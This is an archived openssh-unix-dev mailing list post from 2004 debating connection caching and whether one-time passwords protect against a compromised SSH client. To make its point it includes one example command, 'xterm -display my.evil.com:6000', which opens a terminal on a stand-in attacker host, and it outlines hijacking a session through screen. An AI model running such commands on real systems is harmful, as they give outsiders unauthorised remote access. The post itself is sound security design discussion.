Connection caching?

Darren Tucker dtucker at zip.com.au
Tue May 4 16:54:41 EST 2004


Jefferson Ogata wrote:

> Darren Tucker wrote:
> 
>> Jefferson Ogata wrote:
>>
>>> Damien Miller wrote:
>>>
>>>> Jefferson Ogata wrote:
>>>>
>>>>> You're advocating a mechanism that renders one-time passwords 
>>>>> useless against a remote client compromise. 
>>>>
>>>>
>>>> You miss the point: these controls are useless now, if they depend on
>>>> the integrity of an uncontrolled client.
>>>
>>>
>>> I wouldn't agree that they're useless, but they're clearly 
>>> incomplete, hence the /need/ for a configuration directive.
>>
>>
>> Let's imagine for a moment that the server restricts each client to 
>> only one session.  If the client is compromised, there's still nothing 
>> to stop it from jamming, eg, "xterm -display my.evil.com:6000" into 
>> the command line.  Or pretending the connection was terminated and 
>> hijacking the session outright.
> 
> 
> The former is what OTP is supposed to prevent.

Unless your OTP authenticates exactly one *command*, it won't stop a 
compromised client from injecting an extra command into an already 
authenticated login session.

Your original statement was "You're advocating a mechanism that renders 
one-time password useless against a remote client compromise."  What I'm 
saying is that even with your proposed modification, it's still useless 
against remote client compromise.

 > The latter requires an attacker of unusual skill.

Not necessarily.  Trivial example: set the user's login shell to 
"screen" on the machine running the ssh client, let them log in then 
kill their incoming TCP connection and resume their screen session.

>> What it boils down to is that once a client is authenticated, the 
>> server is trusting it with the credentials of the user it allowed to 
>> log in.
> 
> 
> I keep mentioning OTP here...

See above.  A compromised client can do nasty things after OTP 
authentication, whether it's limited to a single session or otherwise.

[examples of insecure behaviour by users]
> Lazy users will do some of those things. But they won't typically scan a 
> hardcopy S/KEY password list in and post it on a web page. If they do, 
> they're not being lazy any more.

That's true.  My point was that they can if they want to and the server 
can't stop it.  Even with the changes you propose, a compromised client 
can run commands on the server after authentication and the server can't 
stop it.

> Access control is supposed to be about authentication /and/ authorization.
> Authentication is ultimately your sole defense against intrusion. When 
> authentication is compromised, authorization is your control on the 
> scope of the compromise. What we have here is degraded control over 
> authorization, and apparently it's been that way for some time.

No, all we have here is another way for a user to do something that they 
can already do (ie run commands on the server).

> It is a reasonable expectation for an admin to be able to say: one 
> authentication authorizes one session. If the admin wants to relax that 
> control, fine, but it needs to be discretionary.

If "session" == "SSH session" that's what you've got now.  What we're 
disagreeing about is the value of making additional restrictions within 
a single SSH session, for the reasons listed above.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.




More information about the openssh-unix-dev mailing list